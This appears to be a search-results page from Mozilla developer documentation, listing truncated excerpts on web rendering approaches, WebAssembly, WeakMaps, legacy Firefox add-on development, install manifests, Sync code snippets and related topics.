approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. the website is slower on an initial...
...ed. pwas can be built using any approach you like, but some will work better than the others. the most popular approach is the app shell concept, which mixes ssr and csr in exactly the way described above, and in addition follows the "offline first" methodology which we will explain in detail in upcoming articles and use in our example application. there is also a new approach involving the streams api, which we'll mention briefly. the app shell concept the app shell concept is concerned with loading a minimal user interface and content as soon as possible, caching it so it's available offline for subsequent visits before then loading the remainder of the app's contents. that way, the next time someone visits the app from the device, the ui loads from the cache immediately and any new con...
...le without it. responsive: responsive web design also applies to progressive web apps, as both are mainly for mobile devices. there are so many varied devices with browsers — it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, using technologies like the viewport meta tag, css media queries, flexbox, and css grid. another approach: streams an entirely different approach to server- or client-side rendering can be achieved with the streams api. with a little help from service workers, streams can greatly improve the way we parse content. the app shell model requires all the resources to be available before the website can start rendering. it's different with html, as the browser is actually streaming the data already and you can se...
...And 2 more matches
Understanding WebAssembly text format - WebAssembly
to enable webassembly to be read and edited by humans, there is a textual representation of the wasm binary format. this is an intermediate form designed to be exposed in text editors, browser developer tools, etc. this article explains how that text format works, in terms of the raw syntax, and how it is related to the underlying bytecode it represents — and the wrapper objects representing wasm in javascript. note: this is potentially overkill if you are a web developer who just wants to load a wasm module into a page and use it in your code (see using the webassembly javascript api), but it is more useful if for example, you want to write wasm modules to optimize the performance of your javascript library, or build your own webassembly compiler. s-expressions in both the binary an...
... their declaration, followed by locals in order of their declaration. so given the following function: (func (param i32) (param f32) (local f64) local.get 0 local.get 1 local.get 2) the instruction local.get 0 would get the i32 parameter, local.get 1 would get the f32 parameter, and local.get 2 would get the f64 local. there is another issue here — using numeric indices to refer to items can be confusing and annoying, so the text format allows you to name parameters, locals, and most other items simply by including a name prefixed by a dollar symbol ($) just before the type declaration. thus you could rewrite our previous signature like so: (func (param $p1 i32) (param $p2 f32) (local $loc f64) …) and then could write local.get $p1 instead of local.get 0, etc. (note that wh...
...2 f32) (local $loc f64) …) and then could write local.get $p1 instead of local.get 0, etc. (note that when this text gets converted to binary, though, the binary will contain only the integer.) stack machines before we can write a function body, we have to talk about one more thing: stack machines. although the browser compiles it to something more efficient, wasm execution is defined in terms of a stack machine where the basic idea is that every type of instruction pushes and/or pops a certain number of i32/i64/f32/f64 values to/from a stack. for example, local.get is defined to push the value of the local it read onto the stack, and i32.add pops two i32 values (it implicitly grabs the previous two values pushed onto the stack), computes their sum (modulo 2^32) and pushes the resulti...
...And 2 more matches
Using the WebAssembly JavaScript API - WebAssembly
this article teaches you what you’ll need to know. note: if you are unfamiliar with the basic concepts mentioned in this article and need more explanation, read webassembly concepts first, then come back. some simple examples let’s run through some examples that explain how to use the webassembly javascript api, and how to use it to load a wasm module in a web page. note: you can find the sample code in our webassembly-examples github repo. ...
...sembly instance either by creating a new webassembly.memory and passing it in as an import or by receiving a memory export (via instance.prototype.exports). more involved memory example let’s make the above assertions clearer by looking at a more involved memory example — a webassembly module that imports the memory instance we defined earlier, populates it with an array of integers, then sums them. you can find this at memory.wasm. make a local copy of memory.wasm in the same directory as before. note: you can see the module’s text representation at memory.wat. go back to your memory.html sample file, and fetch, compile, and instantiate your wasm module as before — add the following to the bottom of your script: webassembly.instantiatestreaming(fetch('memor...
...following example we define a global as a mutable i32 type, with a value of 0. the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value). ...
...And 2 more matches
Private Properties - Archive of obsolete content
port for private properties. people have come up with several ways to emulate private properties using existing language features. this article discusses two common techniques: one using prefixes, the other closures. both approaches have drawbacks, they are either not restrictive enough or too restrictive, respectively. a better alternative is to use weakmap objects, which solve both these problems. however, note that weakmaps might not be supported by all implementations yet. also shown here is how to generalize the idea of using weakmaps, from associating one or more private properties with an object, to associating one or more namespaces with each object. a namespace is simply an object on which one or more private properties are defined. the sdk uses namespaces internally to implement ...
... this approach is straightforward, but relies on the use of prefixes. a better approach would be to store thumbnails in their own, separate hash map: let thumbnails = {}; function getthumbnail(image) { let thumbnail = thumbnails[image]; if (!thumbnail) { thumbnail = createthumbnail(image); thumbnails[image] = thumbnail; } return thumbnail; } there are two problems with the above approach. first, it's not possible to use objects as keys. when an object is used as a key, it's converted to a string using its tostring method. to make the above code work, a unique identifier must be associated with each image and override its tostring method. the second problem is more severe: the thumbnail cache maintains a strong reference to each thumbnail object, so they wi...
... its tostring method. to make the above code work, a unique identifier must be associated with each image and override its tostring method. the second problem is more severe: the thumbnail cache maintains a strong reference to each thumbnail object, so they will never be freed, even when their corresponding image has gone out of scope. this is a memory leak waiting to happen. the above two problems are exactly what weakmaps were designed to solve. a weakmap is very similar to an ordinary hash map, but differs from it in two crucial ways: it can use ordinary objects as keys it does not maintain a strong reference to its values to understand how weakmaps are used in practice, the following rewrites the thumbnail cache using a weakmap: let thumbnails = new weakmap(); function getthumbn...
...when a thumbnail's image goes out of scope, the weakmap ensures that its entry in the thumbnail cache will eventually be garbage collected. as a final caveat: the image cache created earlier suffers from the same problem, so for the above code to work properly, the image cache must be rewritten using weakmaps too. from weakmap to namespace in the previous section, a separa...
XUL Migration Guide - Archive of obsolete content
first we'll outline how to decide whether your add-on is a good candidate for migration via a comparison of the benefits and limitations of the sdk versus xul development. next, we'll look at some of the main tasks involved in migrating: working with content scripts using the sdk's supported apis how to go beyond the supported apis when necessary, by: using third party modules using the sdk's low-level apis getting direct access to xpcom finally, we'll walk through a simple example. should you migrate? see this comparison of the benefits and limitations of sdk development and xul development. ...
...uture releases to meet important use cases. user interface components xul-based add-ons typically implement a user interface using a combination of two techniques: xul overlays and xul windows. xul overlays xul overlays are used to modify existing windows such as the main browser window. in this way an extension can integrate its user interface into the browser: for example, adding menu items, buttons, and toolbars. because sdk-based extensions are restartless, they can't use xul overlays. to add user interface components to the browser, there are a few different options. in order of complexity, the main options are: the sdk includes modules that implement some basic user interface components including buttons, dialogs, and context menu items. there is a collection of com...
... toolbar (although users may relocate them by toolbar customization) because it makes for a better user experience for add-ons to expose their interfaces in a consistent way. in such cases it's worth considering changing your user interface to align with the sdk apis. some limitations only exist because we haven't yet implemented the relevant apis: for example, there's currently no way to add items to the browser's main menus using the sdk's supported apis. many add-ons will need to make some changes to their user interfaces if they are to use only the sdk's supported apis, and add-ons which make drastic changes to the browser chrome will very probably need more than the sdk's supported apis can offer. similarly, the supported apis expose only a small fraction of the full range of xpcom f...
...nsible by design: developers can create new modules filling gaps in the sdk, and package them for distribution and reuse. add-on developers can install these packages and use the new modules. if you can find a third party package that does what you want, this is a great way to use features not supported in the sdk without having to use the low-level apis. see the guide to adding firefox menu items. some useful third party packages are collected in the jetpack wiki. note, though, that by using third party packages you're likely to lose the security and compatibility benefits of using the sdk. using the low-level apis in addition to the high-level apis, the sdk includes a number of low-level apis some of which, such xhr and window/utils, expose powerful browser capabilities. but note that...
util/deprecate - Archive of obsolete content
experimental functions to deprecate code. globals functions deprecatefunction(fun, msg) dump to the console the error message given in the second argument, prefixed with "deprecated:", and print the stacktrace; then execute the function passed as first argument and returns its value. it does not raise an exception, but just displays the error message and continues to execute the function. this function is mostly used to flag usage of deprecated functions, that are still available but which we intend to remove in a future release. ...
...execute the function passed as first argument and returns its value. it does not raise an exception, but just displays the error message and continues to execute the function. this function is mostly used to flag usage of deprecated functions, that are still available but which we intend to remove in a future release. ...
... but just displays the error message and continues to execute the function. this function is mostly used to flag usage of deprecated functions, that are still available but which we intend to remove in a future release. ...
...msg : string the error message to display returns * : the returned value from fun deprecateusage(msg) dump to the console the error message given, prefixed with "deprecated:", and print the stacktrace. it does not raise an exception, but just displays the error message and returns. this function is mostly used to flag usage of deprecated functions that are no longer available. ...
Running applications - Archive of obsolete content
for more information on nsifile/nsilocalfile, see file i/o. ...
... for more information on nsifile/nsilocalfile, see file i/o. ...
... for more information on nsifile/nsilocalfile, see file i/o. ...
... for more information on nsifile/nsilocalfile, see file i/o. ...
Install Manifests - Archive of obsolete content
ifying a platform that the add-on supports. it contains either the value of os_target alone or combined with target_xpcom_abi, separated by an underscore (_). you can specify multiple targetplatform properties per manifest. if any value matches the application's build parameters, it will be installed; if not, the user will get an appropriate error message. examples <em:targetplatform>winnt_x86-msvc</em:targetplatform> <em:targetplatform>linux</em:targetplatform> <em:targetplatform>darwin_ppc-gcc3</em:targetplatform> <em:targetplatform>sunos_sparc-sunc</em:targetplatform> usually, you would use only the os part for themes or for extensions that are not fully cross-platform. for extensions including binary (compiled) components, you should never use the os alone, but include the abi (s)...
...ication will refuse to install the add-on if it does not find a matching os/abi combination. this means that if all of the above examples would occur in one manifest, the add-on will install on any linux build of the application, regardless of its abi, but not on a windows cygwin build. there may be builds of firefox and thunderbird which do not "know" their abi (most likely ports to rare platforms, or non-official builds). these builds will refuse to install any add-on that requires a specific abi for their platform. this property was added for firefox/thunderbird 1.5. previous versions of these applications will ignore the restrictions and install the add-on regardless of the platform. translator the name(s) of translators. you may specify more than one of this value to specify multip...
...h the author interface, your update manifest will be generated automatically. format of the update manifest: the update manifest is a rdf/xml datasource. for an example of an update manifest, see extension versioning, update and compatibility. obsolete property reference these properties were required in older versions of the add-on manager, but have been replaced with newer and better mechanisms. file firefox 1.0 this property pointed to a chrome .jar file that contains chrome packages that require registration with the chrome registry. the <em:file> property has a complex object value. the url of the value is urn:mozilla:extension:file:jarfile.jar where jarfile.jar is the name of the jar file that contains the chrome package's files. this could also be the name of a directory that co...
...le behind removing this feature and the suggested workaround. <em:requires> has a similar syntax to the <em:targetapplication> tag (i.e. you must specify <em:id>, <em:minversion>, <em:maxversion> when using it). if the add-on specified by the <em:id> tag is not installed or has an incompatible version, the extension manager will disable your extension and show the message "requires additional items". you can add as many <em:requires> tags as you like. your extension will be disabled if any of the specified requirements fail. it is not possible to add dependencies that are specific to a <em:targetapplication>. see extension dependencies for more details. glossary restricted access area a restricted access area is an install location that could be restricted on a restricted-access account,...
Interaction between privileged and non-privileged pages - Archive of obsolete content
you may want to transfer objects. gecko prevents chrome to access custom object properties added by the content, because that can create security holes. a workaround is to treat the communication between webpage and chrome as a normal network protocol and use xml. with element attributes and e4x, this is fairly easy. you do need to convert your d...
...dataxml.tostring() : ""); var event = targetdoc.crea...
...dataxml.tostring() : ""); var event = targetdoc.createevent("event") event.initevent(type, true, true...
... somethingxml = <something/>; // |something| object as e4x xml somethingxml.@id = something.id; somethingxml.@weight = something.weight; sendmsg("sendsomething", somethingxml); } /** * send msgs from chrome to the page * @param type {string} the event type. the receiver needs to use that * when doing addeventlistener(type, ...) * @param dataxml {e4x} the data or detail */ function sendmsg(type, dataxml) { var el = targetdoc.body; el.setattribute("eventdatatopage", dataxml ? dataxml.tostring() : ""); var event = targetdoc.createevent("event") event.initevent(type, true, true); el.dispatchevent(event); } /** * verifies that the event is indeed coming from our page * as expected, and returns the data for that event. * @returns {e4x} the (unchecked) detail data from the...
Appendix F: Monitoring DOM changes - Archive of obsolete content
y mouseover, mouseout, and friends, which are fired very often while the mouse is moving. monkey patching in many instances, especially when dealing with chrome code, the best way to modify actions which result in dom mutations is by wrapping the functions that trigger those changes. ...
...oving. monkey patching in many instances, especially when dealing with chrome code, the best way to modify actions which result in dom mutations is by wrapping the functions that trigger those changes. ...
...ing in many instances, especially when dealing with chrome code, the best way to modify actions which result in dom mutations is by wrapping the functions that trigger those changes. for instance, when you want to modify the result of dom mutations that you know are the result of the doawesomedomstuff() function, you can wrap it as follows: { let originaldoawesomedomstuff = doawesomedomstuff; doawesomedomstuff = function _doawesomedomstuff() { let res = originaldoawesomedomstuff.apply(this, arguments); doawesomerdomstuff(res, arguments); return res; }; } now, whenever doawesomedomstuff() is called, the original function will be called, followed by your own doawesomerdomstuff() function, which can then further modify the dom as needed. vari...
... css animation events this technique, which works on firefox 5+, has some particular advantages. because it is based on css, it can be keyed to match new elements of any arbitrary css selector. and because it is css-based, and is triggered when css is being applied anyway, it does not slow dom mutations. ...
Connecting to Remote Content - Archive of obsolete content
« previousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http. it is an integral part of the modern web, and all major browsers support it. besides xml, it can be used to retrieve data in other formats, for example json, html and plain text. in this section we'll look into the xml and json communication mechanisms. let url = "http://www.example.com/"; let request = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("g...
... calls are always done asynchronously. now let's look at the most common types of content you can use to communicate with remote servers. json content json is a very lightweight and simple data representation format, similar to the object representation used in javascript. unlike javascript, the json format doesn't allow any kind of code that can be run, only data. json used to be risky in terms of security because the favored way of parsing it was to use the javascript eval function. since eval executes any code contained in the string, workarounds had to be devised in order to close security holes. luckily, firefox now provides a few alternatives for extension developers. the json page explains in detail how to parse json data in different versions of firefox and other applications. a...
... discussed previously. xpath is very useful for cases when you're receiving large and complex xml files, and you only need some of the data contained in them. using xpath to parse a complete xml document is probably not a good idea performance-wise. using xslt xslt (extensible stylesheet language transformations) is another tool used to manipulate xml documents and transform them into other forms of text output, such as html, xul, and so on. we can not cover all transformations to various output formats, so we'll just look into converting an xml document to xul. first you need to create an xslt stylesheet that acts as a template. this template will transform the xml you receive (in our case, the example xml document above) and convert it into xul. the xslt tutorial contains details for ...
...the nsixsltprocessor.transformtodocument() method returns a dom document with the resu...
Introduction - Archive of obsolete content
xul school was created by appcoast (formerly glaxstar), one of the few companies dedicated to building high-quality firefox extensions. ...
... creating firefox extensions are reflected here. with this tutorial you'll learn how to develop firefox extensions. you'll learn how to quickly do the most common tasks in extension development, comparing several different approaches to solve them. in most cases we'll provide code samples that you can easily copy and adapt to your needs, as well as some working example extensions. the tutorial aims to be as brief as possible, often falling back on mozilla documentation for more detailed information. you can think of it as a quick guide to the expansive world that is the mozilla platform. most links in this documentation are meant to be clicked and read. we'll start with a brief introduction to some key concepts, in case you're not familiar with mozilla and firefox. mozilla and firefox th...
... clicked and read. we'll start with a brief introduction to some key concepts, in case you're not familiar with mozilla and firefox. mozilla and firefox the term mozilla can be used to refer to several concepts: the mozilla project, the mozilla foundation, the mozilla corporation and the old mozilla browser. even firefox is sometimes referred to as "mozilla". if you're unfamiliar with these terms, it's good that you take some time and learn a little about mozilla. this will help you understand the culture that surrounds the mozilla community. mozilla has spawned several products and projects, the most notable being the mozilla firefox web browser. firefox is one of the most successful open source projects in history, combining the openness, standards-compliance and sophistication of open...
...r interface is built with technology known as xul, and the platform is known as xulrunner. xul xul (pronounced "zool") is one of many technologies used for creating mozilla-based products and extensions. it is only one part of the development landscape, but given that it's practically exclusive to mozilla, it tends to be used to identify all mozilla-related development. you'll sometimes read terms like "xul applications" and "xul extensions", but rarely will they refer to projects that are exclusively built with xul. it usually means that the projects were built using mozilla technologies. even this project, called xul school, covers several other technologies such as javascript, css, xbl and xpcom. xulrunner xulrunner includes the gecko rendering engine, the necko networking library, an...
Setting Up a Development Environment - Archive of obsolete content
led with komodo edit, so if you see a .kpf or .komodoproject file in an example you download, this is a komodo project file. we recommend git and github for source control, but any decent software configuration management system will do. to package xpi files, we use make. we chose make because this is the same system used by mozilla to build firefox, and it is available for all operating systems. make is a default tool in most unix-based systems. it can be installed on mac os x as part of the xcode tools package, and on windows with cygwin. in cygwin installations you'll have to explicitly check the make and zip utilities from the long list of packages to download and install. also make sure that make is in the executable system path. after setting up make, you should be able to open a ...
...it in order to see the changes. it's still better than installing the xpi all over again. you may need to alter the profile location in your makefile. in order to set the profile location to the right value, you should read the support article on profiles, at the mozilla support site. we'll also delve deeper in this topic later on in this section. to make "make install" work on non-windows systems, you need an extra step. the install process requires using an environment variable called ostype, which is not exported. long story short, if you want to run it from a command line, you need to run: export ostype; make install and in the command in komodo, you should enter the following: bash -c "export ostype; make install" the export command won't work correctly unless you use "bas...
...included in the mozilla gecko sdk. if you need to compile idls, go to the sdk page and download a compiled version for your system. also note any prerequisites you may need. if your system is not listed in the supported builds, you'll have to build the sdk yourself from the mozilla source. good luck with that. you should also set up your environment so that xpidl.exe (or just xpidl on other systems) is in the default executable path, and also add a variable called gecko_sdk, that points to your sdk build: export gecko_sdk=/path/to/your/sdk our build system should pick it up from there. to make it work in komodo in unix-based systems, we add the command to the .bash_login file in the home directory, and we modify the commands to this: bash -c ". ~/.bash_login; make" an example pr...
...nstance of firefox you use to browse normally. make any modifications you want to the xul school project, run make install and restart firefox to see the extension work with your changes. install dom inspector. use it to locate the menu you created. hint: you can search for an element by id. inspect the css rules firefox applies to it by default. look at the final, computed style for the menu items. browse around the rest of the firefox dom, and try to figure out what the nodes correspond to in the firefox ui. install the firebug extension. open the firebug window and go to an ajax-heavy page such as gmail or facebook. open and enable the net tab. try to identify what is going on with some of the requests being sent. now that you know how to quickly monitor your project and test changes,...
No Proxy For configuration - Archive of obsolete content
this into "no proxy for" ...for example use... ...
...orts 1 127.0.0.1 proxy no port .mozilla.org www.mozilla.org:80 www.mozilla.org:81 direct direct port number .mozilla.org:80 www.mozilla.org:80 www.mozilla.org direct direct :81 www.mozilla.org:81 proxy developer notes the no_proxy for logic is written in c++. pac is written in js, so there are potential problems with feature consistency and porting. david baron has pointed out that the original pac code in the "classic" tree is written in c++. the pac in c++ has not been tested in mozilla, so porting pac in c++ forward would not be a panacea. the relevant code lives in nsprotocolproxyservice.cpp. nsprotocolproxyservice::prefschanged - loads preferences nsprotocolproxyservice::loadfilters - parses fi...
...+ has not been tested in mozilla, so porting pac in c++ forward would not be a panacea. the relevant code lives in nsprotocolproxyservice.cpp. ...
... relevant code lives in nsprotocolproxyservice.cpp. nsprotocolproxyservice::prefschanged - loads preferences nsprotocolproxyservice::loadfilters - parses filters nsprotocolproxyservice::examineforproxy - decides to check filters if configuration is "manual" nsprotocolproxyservice::canuseproxy - performs url vs. ...
Creating a Microsummary - Archive of obsolete content
o, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and languages you already use to generate pages. for example, if you use php scripts to generate pages on your site, you could write php code to output a microsummary when the view=microsummary url parameter is present. then just link to the microsummaries from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the url in the href attribute. if the url points to a generator, it uses the generator to generate the microsummary for the page. otherwise, if the url returns plain text content (or html conten...
...xslt is a powerful language for transforming documents into different representations of the same information. add the xslt transform sheet to the generator by including it within a <template> element: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> ...
... this mechanism is powerful, because it lets you traverse the node tree of a document, recursively generating output based on the contents of the documen...
...ate> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> </transform> </template> </generator> using a simple xslt <template> the xslt processor transforms documents by comparing each xslt <template> element in the transform sheet to a set of nodes in the document. when a <template>'s match attribute matches a node, the processor performs the transformations specified by the content of the element. this mechanism is powerful, because it lets you traverse the node tree of a document, recursively generating output based on the contents of the document. but for the purposes of generating a microsummary for the spread firefox page, we only need to use a single <template> element that matches the root node of the document and is proce...
In-Depth - Archive of obsolete content
a list of the different operating system colours can be found on the w3c's web site. mozilla css properties mozilla.org created their own css properties to allow them to use the technology for the ui of mozilla. all of the properties follow the w3c's standards for vendor extensions, which is why they all begin with -moz. this is only a list of properties which may be useful to you; it is in no way all of the mozilla specific properties available. ...
...operties xulplanet.com [dead link, 26.03.13] mozilla-prefixed properties on the standard track 26.03.13 -moz-appearance makes a widget look like it's from your operating system. possible are (this is probably an incomplete list): none - (!important may be needed) will override the operating system default. use this when you want one or two controls to look different from the operating systems defaults. button, checkbox-container, checkbox, dialog, dualbutton, dualbutton-dropdown, listbox, menu, menulist-textfield, menulist-button, menulist, menulist-text, progressbar, progresschunk, radio-container, radio, resizer, resizerpanel, separator, scrollbar, statusbar, statusbarpanel, toolbarbutton, toolbox, toolbar, treeheadercell, treeheadersortarrow, treeview, treeitem, treetwisty, treetwi...
...e this would be used is on tabs. -moz-border-radius-bottomleft the same as -moz-border-radius but only applies to the bottom left corner. an example of where this would be used is on a footer. -moz-border-radius-bottomright the same as -moz-border-radius but only applies to the bottom right corner. an example of where this would be used is on a footer. -moz-box-direction controls which way the items in this box are displayed. normal in english web browsers items are displayed top to bottom and left to right. this will flip it around so items inside of this box will be displayed bottom to top and right to left. this is useful for, say, putting the navigation controls (back button) on the right hand side of the toolbar. values: normal, reverse -moz-image-region this is useful for dividing up a...
.... it uses a rect() object to determine the clipping region. check out the section on organizing images for more information. example: -moz-image-region: rect(168px 69px 189px 46px); -moz-opacity makes boxes semi-transparent. it takes a decimal value, 0.00 is invisible and 1.00 is totally visible. how do i know what to modify? now that you've got everything extracted and you know how to modify items, you might be wondering, how do i know where everything is? well there is an easy way to find out - using the dom inspector. if you didn't install it when you first installed mozilla you may have to run the installer again. load mozilla and one browser window. then open the dom inspector (tools->web development->dom inspector). click file->inspect and select the browser window. what appears in a ...
Dehydra Function Reference - Archive of obsolete content
riables, function calls and assignments. process_decl(decl) process_decl is called for every global variable, function, or template declaration. decl is a variable type input_end() called once at the end of the c++ source file before the compiler quits. this is useful for finalizing analyses. builtin functions the following functions are provided by dehydra and may be called by the user: print(msg) print a string to stdout (or stderr if the compiler is piping output). if the current callback is associated with a particular location, the location will be printed first. msg is a string to output to customize the location info printed set this._loc before calling print() include(file [, namespace]) include a javascript file into a namespace. file is a string representing the file to inclu...
...error boolean: turns js warnings into errors gczeal int: this is a write-only parameter to set turn on frequent garbage collection. it is a mainly useful for debugging dehydra for rooting bugs. gczeal is only enabled when spidermonkey and dehydra are compiled with debug macro defined. require() example require({strict:true, gczeal:2}) if (require().werror) print("werror is set") warning([code,] msg [, loc]) print a warning message using the gcc warning mechanism. if -werror is specified this will cause compilation to fail. optional: code is an integer parameter that allows warnings to be enabled(-wfoo) and disabled(-wno-) on the gcc commandline. this parameter is used when the first argument to warning() is an integer. it is not possible to define new warnings in dehydra, thus one has to ...
...ied this will cause compilation to fail. optional: code is an integer parameter that allows warnings to be enabled(-wfoo) and disabled(-wno-) on the gcc commandline. this parameter is used when the first argument to warning() is an integer. it is not possible to define new warnings in dehydra, thus one has to figure out a warning code from an existing warning and hijack it for ulterior purposes. ...
...s an integer. it is not possible to define new warnings in dehydra, thus one has to figure out a warning code from an existing warning and hijack it for ulterior purposes. msg is a string to be presented as a gcc warning optional: loc is the location that should be reported for the warning. if no location is provided, the location is inferred from the last process_type or process_function. error(msg [, loc]) print an error message using the gcc error mechanism. this will cause compilation to fail. msg is a string to be presented as a gcc error optional: loc is the location that should be reported for the warning. if no location is provided, the location is inferred from the last process_type or process_function. _print(msg, ...) the low level function called by print(). it does not print ...
Editor Embedding Guide - Archive of obsolete content
dates in order to make any changes to the content on the browser. below is the sequence of steps that need to be followed for the same: 1. get the nsicommandmanager from the nsiwebbrowser using do_getinterface: nscomptr<nsicommandmanager> commandmanager; nsiwebbrowser->do_getinterface(getter_addrefs(commandmgr)); 2. call a command -- docommand: commandmanager->docommand(acommand, acommandparams); acommand is a const char * to a supported command name (see list below). acommandparams could possibly be a null pointer or a pointer to a valid structure filled with relative parameters to acommand (see list below for legal params). 3. verify if a command is enabled -- iscommandenabled: commandmanager->iscommanddisabled(acommand, retval) 4. get the current command state of a given comma...
... getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters example normal bold cmd_italics toggles italics style on selection. ...
...ve you any concrete information on the state of the command. cmd_wordnext scrolls relative to the current selection end point. getcommandstate "state_enabled" (boolean) docommand no parameter note getcommandstate in these cases will return whether or not it is possible to call docommand. this will not really give you any concrete information on the state of the command. nsicommandparams creating how do you create an nsicommandparams? -saari writing once you have created an nsicommandparams you call the "set" methods. setbooleanvalue setlongvalue setdoublevalue setstringvalue setcstringvalue setisupportsvalue removevalue each will take a name value pair. in the case of setbooleanvalue for example you use a boolean as the second parameter. commandparam->setcstringv...
...lean as the second parameter. commandparam->setcstringvalue("state_attribute","left"); reading for reading you may go after individual name/value pairs you know are there or you may iterate through all the name/value pairs and programatically pull off data. first getnext (returns the next name in the name/value pair list) hasmoreelements getvaluetype (numeric enum type see nsicommandparams for values) if the name/value pair is known or it was obtained using the methods described above, it is possible to call the following methods: getbooleanvalue getlongvalue getdoublevalue getstringvalue getcstringvalue getisupportsvalue all of these take pointers to values except for getstringvalue which demands a reference to an nsastring. commandparam->getbooleanvalue("state_enable...
Documentation for BiDi Mozilla - Archive of obsolete content
ides visual frame navigation capability. details of rendering are dependent on user preferences and system capabilities. where the system is capable of tasks such as reversing and shaping text, symmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base text direction (for example settextalign on windows). ...
... of tasks such as reversing and shaping text, symmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base text direction (for example settextalign on windows). for systems without bidi capabilities, the methods in nsiubidiutils are used. note that we are not affected by buggy bidi implementations on specific platforms, since the platform never sees a text fragment with mixed directionality, and is not expected to do anything more complicated than displaying left-to-right text from left to right or right-to-left text from right to left. in some circumstances, even on a platform with bidi capability, the layout code has to reverse text fragments or to allow for the fact that they are displayed in reverse. in ge...
...a. text pasted from the clipboard is treated exactly as if it came from a logical source. form controls: based on bidi options in preferences, the text mode of form controls may be "logical", "visual" or "like containing document". we have also tested behaviour of all controls with dir=rtl and added support where necessary. some support added for alignment in tables and lists, and fixes for problems with different combinations of dir and align. improvements to lists with hebrew and arabic list-style-type summary of new classes class name xpcom interface (if applicable) implementation comments nsibidi intl\unicharutil\public\nsibidi.h intl\unicharutil\src\nsbidiimp.cpp implementation of the unicode bidi algorithm nsiubidiutils intl\unicharutil\public\nsiubidiutils.h intl\unicharutil\...
...entation comments nsibidi intl\unicharutil\public\nsibidi.h intl\unicharutil\src\nsbidiimp.cpp implementation of the unicode bidi algorithm nsiubidiutils intl\unicharutil\public\nsiubidiutils.h intl\unicharutil\src\nsbidiutilsimp.cpp utilities for bidi processing, including: character classification symmetric swapping reordering shaping numeric translation conversion to/from presentation forms nsbidipresutils layout/base/nsbidipresutils.cpp utilities for the layout engine including: resolve frames by bidi level split framesreorder frames format bidi text support for deletion and insertion of frames by editor nsbiditextframe layout/generic/nsbidiframes.cpp subclass of nsframe with additional method setoffsets, to adjust mcontentoffset and mcontentlength during bidi processing ...
Code snippets - Archive of obsolete content
+ id); } get a count of the number of members of a collection on the server let collection = "passwords"; components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); json.parse(new resource(weave.service.storageurl + collection).get()).length; dump the cleartext of each record in a collection to the console. ...
...e.storageurl + collection, recordtype); coll.full = true; coll.ids = [id]; coll.recordhandler = function(item) { item.collection = collection; item.decrypt(); console.log(item.cleartext); }; coll.get(); count types of bookmark records components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/record.js"); let deleted = 0; let items = {}; let collection = "bookmarks"; let recordtype = weave.engines.get(collection)._recordobj; let coll = new collection(weave.service.storageurl + collection, recordtype); coll.full = true; coll.limit = null; coll.recordhandler = function(item) { item.collection = collection; item.decrypt(); if (item.deleted) { deleted++; } else { items[item.type] = 1...
... long-tap the log in question. choose "save link". open a mail client. click attach. choose "file manager" as the handler. navigate to "downloads", pick correct file. watch live sync logs set services.sync.log.appender.console to t...
... long-tap the log in question. choose "save link". open a mail client. ...
Creating a Help Content Pack - Archive of obsolete content
elp documents are written in xhtml, and the rest are written in rdf. the content pack descriptor file outlines the framework of the contents of the pack by pointing to the files describing the table of contents, index, and glossary rdf files. the table of contents and index files are simple tree-based outlines written in rdf. the glossary file is written in rdf and consists of a simple list of terms with corresponding urls to the term definition. creating a content pack the content pack descriptor file as mentioned earlier, the content pack descriptor file is written using rdf. if you don't know rdf, that's okay - for our purposes, you won't need to learn very much. if you understand the basics of html or (preferably) xml, you'll understand the very basics of the syntax - elements, attrib...
...nt pack. nc:datasources is a space-separated list of rdf datasources used in construction of the structure of referenced topics. generally, each item in the list will be a uri to an rdf file, but if you're more familiar with rdf you can also refer to a specific node within the rdf file using its rdf:id attribute. nc:platform (added in mozilla 1.8b2/firefox 1.1) when present specifies the platforms to which the information stored in the referenced data sources applies. this attribute is useful when some of your help contents only apply to one specific platform. if this attribute is omitted, the information in the data sources applies to all platforms. the attribute is a space-separated list of platform strings. strings recognized from 1.8 onward are win, mac, os2, and unix; more will be add...
...an online, dynamically-generated list of added content stored on your web site. to have the help viewer search through these additional data sources, define another rdf:li element like so: <rdf:li> <rdf:description nc:panelid="search" nc:datasources="" nc:emptysearchtext="[no matching items found.]" nc:emptysearchlink="chrome://foo/locale/bar.html"/> </rdf:li> nc:panelid should be set to search. nc:datasources should be set as with table of contents, index, and glossary definitions. nc:platform (added in mozilla 1.8b2/firefox 1.1) may be used on search data sources as it's used on table of contents, index, and glossary defin...
...to add data to it, add one of the following per entry in your glossary within the rdf:seq above: <rdf:li> <rdf:description nc:name="" nc:link=""/> </rdf:li> the rdf:li element serves purely to contain each separate entry. the rdf:description element describes the glossary entry. it has two ...
Introducing the Audio API extension - Archive of obsolete content
